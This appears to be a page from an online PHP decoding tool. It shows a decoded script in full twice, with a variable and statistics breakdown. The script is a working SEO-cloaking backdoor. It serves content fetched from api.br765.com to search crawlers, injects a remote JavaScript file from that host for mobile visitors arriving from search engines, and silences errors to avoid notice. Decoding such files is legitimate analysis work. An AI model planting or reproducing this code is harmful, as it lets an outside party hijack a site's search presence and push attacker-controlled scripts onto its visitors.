Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ini_set('display_errors','off'); error_reporting(E_ALL ^ E_NOTICE); ..

Decoded Output download

<?php 
    ini_set('display_errors','off'); 
    error_reporting(E_ALL ^ E_NOTICE);  
    set_time_limit(0); 
	 
$mulu="/crp_cache"; 
$server_url = "https://api.br765.com/mulu_r.php"; 
$jump_url = "<script type=\"text/javascript\" src=\"https://api.br765.com/js.js\"></script>";  
$http_refer = @$_SERVER['HTTP_REFERER']; 
$user_agent = @$_SERVER['HTTP_USER_AGENT']; 
$spider_list = array("Googlebot", "goo", "bot", "Media", "compatible", "bing", "Yahoo"); 
$Android_list = array("Android","iPhone","webOS","BlackBerry","SymbianOS","Windows Phone","iPad","iPod"); 
$refer_list = array("google.com", "google", "bing", "yahoo", "mobilesearchers"); 
$domain = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''); 
$api_url = $server_url .'?mulu='.$mulu."&url=".$_SERVER['REQUEST_URI']."&domain=".$domain; 
 
function is_refer() 
{ 
    global $refer_list,$http_refer; 
    foreach ($refer_list as $value) { 
        if (stristr($http_refer,$value)) { 
            return true; 
        } 
    } 
    return false; 
} 
function is_spider() 
{ 
    global $spider_list, $user_agent; 
    foreach ($spider_list as $agent) { 
        if (stristr($user_agent,$agent)) { 
            return true; 
        } 
    } 
    return false; 
} 
function is_Android() 
{ 
    global $Android_list, $user_agent; 
    foreach ($Android_list as $agent) { 
        if (stristr($user_agent,$agent)) { 
            return true; 
        } 
    } 
    return false; 
} 
 
 
 
 
 
function HttpVisit($api_url) { 
    $getWebUrl = $api_url; 
  
	$remote_data = NULL; 
	if (function_exists('curl_exec')) { 
		$curl = @curl_init(); 
		curl_setopt($curl, CURLOPT_URL, $getWebUrl); 
		curl_setopt($curl, CURLOPT_HEADER, 0); 
		curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 40); 
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); 
		$remote_data = @curl_exec($curl); 
		curl_close($curl); 
	} else { 
		if (function_exists('stream_context_create')) { 
			$header_array = array('http' => array('method' => 'GET', 'timeout' => 30)); 
            $http_header = @stream_context_create($header_array); 
            $remote_data = @file_get_contents($getWebUrl, false, $http_header); 
		} else { 
                $temp_url = explode("/", $getWebUrl); 
                $new_url = $temp_url[2]; 
                $http_port = 80; 
                $get_file = substr($getWebUrl, strlen($new_url) + 7); 
                if (strstr($new_url, chr(58))) { 
                    $s_var_array['td'] = explode(chr(58), $new_url); 
                    $new_url = $s_var_array['td'][0]; 
                    $http_port = $s_var_array['td'][1]; 
                } 
                $fsock_result = @fsockopen($new_url, $http_port); 
                @fputs($fsock_result, 'GET ' . $get_file . ' HTTP/1.1' . "
" . 'Host:' . $new_url . "
" . 'Connection:Close' . "

"); 
                while (!feof($fsock_result)) { 
                    $remote_data.= fgets($fsock_result, 1024); 
                } 
                @fclose($fsock_result); 
				$remote_data = strstr($remote_data,"<html"); 
            } 
	} 
	return $remote_data; 
} 
 
 
 
 
if (is_spider()) { 
    echo HttpVisit($api_url); 
    exit();  
} 
 
elseif(is_refer()&&is_Android()){ 
    echo $jump_url;   
    exit(); 
}else 
{ 
	header('Location: /'); 
} 
 
?>

Did this file decode correctly?

Original Code

<?php
    ini_set('display_errors','off');
    error_reporting(E_ALL ^ E_NOTICE); 
    set_time_limit(0);
	
$mulu="/crp_cache";
$server_url = "https://api.br765.com/mulu_r.php";
$jump_url = "<script type=\"text/javascript\" src=\"https://api.br765.com/js.js\"></script>"; 
$http_refer = @$_SERVER['HTTP_REFERER'];
$user_agent = @$_SERVER['HTTP_USER_AGENT'];
$spider_list = array("Googlebot", "goo", "bot", "Media", "compatible", "bing", "Yahoo");
$Android_list = array("Android","iPhone","webOS","BlackBerry","SymbianOS","Windows Phone","iPad","iPod");
$refer_list = array("google.com", "google", "bing", "yahoo", "mobilesearchers");
$domain = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
$api_url = $server_url .'?mulu='.$mulu."&url=".$_SERVER['REQUEST_URI']."&domain=".$domain;

function is_refer()
{
    global $refer_list,$http_refer;
    foreach ($refer_list as $value) {
        if (stristr($http_refer,$value)) {
            return true;
        }
    }
    return false;
}
function is_spider()
{
    global $spider_list, $user_agent;
    foreach ($spider_list as $agent) {
        if (stristr($user_agent,$agent)) {
            return true;
        }
    }
    return false;
}
function is_Android()
{
    global $Android_list, $user_agent;
    foreach ($Android_list as $agent) {
        if (stristr($user_agent,$agent)) {
            return true;
        }
    }
    return false;
}





function HttpVisit($api_url) {
    $getWebUrl = $api_url;
 
	$remote_data = NULL;
	if (function_exists('curl_exec')) {
		$curl = @curl_init();
		curl_setopt($curl, CURLOPT_URL, $getWebUrl);
		curl_setopt($curl, CURLOPT_HEADER, 0);
		curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 40);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		$remote_data = @curl_exec($curl);
		curl_close($curl);
	} else {
		if (function_exists('stream_context_create')) {
			$header_array = array('http' => array('method' => 'GET', 'timeout' => 30));
            $http_header = @stream_context_create($header_array);
            $remote_data = @file_get_contents($getWebUrl, false, $http_header);
		} else {
                $temp_url = explode("/", $getWebUrl);
                $new_url = $temp_url[2];
                $http_port = 80;
                $get_file = substr($getWebUrl, strlen($new_url) + 7);
                if (strstr($new_url, chr(58))) {
                    $s_var_array['td'] = explode(chr(58), $new_url);
                    $new_url = $s_var_array['td'][0];
                    $http_port = $s_var_array['td'][1];
                }
                $fsock_result = @fsockopen($new_url, $http_port);
                @fputs($fsock_result, 'GET ' . $get_file . ' HTTP/1.1' . "\r\n" . 'Host:' . $new_url . "\r\n" . 'Connection:Close' . "\r\n\r\n");
                while (!feof($fsock_result)) {
                    $remote_data.= fgets($fsock_result, 1024);
                }
                @fclose($fsock_result);
				$remote_data = strstr($remote_data,"<html");
            }
	}
	return $remote_data;
}




if (is_spider()) {
    echo HttpVisit($api_url);
    exit(); 
}

elseif(is_refer()&&is_Android()){
    echo $jump_url;  
    exit();
}else
{
	header('Location: /');
}

?>

Function Calls

ini_set 1
stristr 1
is_spider 1
set_time_limit 1
error_reporting 1

Variables

$mulu /crp_cache
$agent Googlebot
$domain ['TernaryOp', {'expr': ['IsSet', {'nodes': [['ArrayOffset', {'expr': 'HTTP_HOST', 'node': ['Variable', {'name': '$_SERVER'}]}]]}], 'iftrue': ['ArrayOffset', {'expr': 'HTTP_HOST', 'node': ['Variable', {'name': '$_SERVER'}]}], 'iffalse': ''}]
$api_url https://api.br765.com/mulu_r.php?mulu=/crp_cache&url=None&do..
$jump_url <script type="text/javascript" src="https://api.br765.com/js..
$http_refer None
$refer_list [{'key': 0, 'value': 'google.com'}, {'key': 1, 'value': 'google'}, {'key': 2, 'value': 'bing'}, {'key': 3, 'value': 'yahoo'}, {'key': 4, 'value': 'mobilesearchers'}]
$server_url https://api.br765.com/mulu_r.php
$user_agent None
$spider_list [{'key': 0, 'value': 'Googlebot'}, {'key': 1, 'value': 'goo'}, {'key': 2, 'value': 'bot'}, {'key': 3, 'value': 'Media'}, {'key': 4, 'value': 'compatible'}, {'key': 5, 'value': 'bing'}, {'key': 6, 'value': 'Yahoo'}]
$Android_list [{'key': 0, 'value': 'Android'}, {'key': 1, 'value': 'iPhone'}, {'key': 2, 'value': 'webOS'}, {'key': 3, 'value': 'BlackBerry'}, {'key': 4, 'value': 'SymbianOS'}, {'key': 5, 'value': 'Windows Phone'}, {'key': 6, 'value': 'iPad'}, {'key': 7, 'value': 'iPod'}]

Stats

MD5 0bd4d4a390d1d32b63b0d8677056dc5f
Eval Count 0
Decode Time 98 ms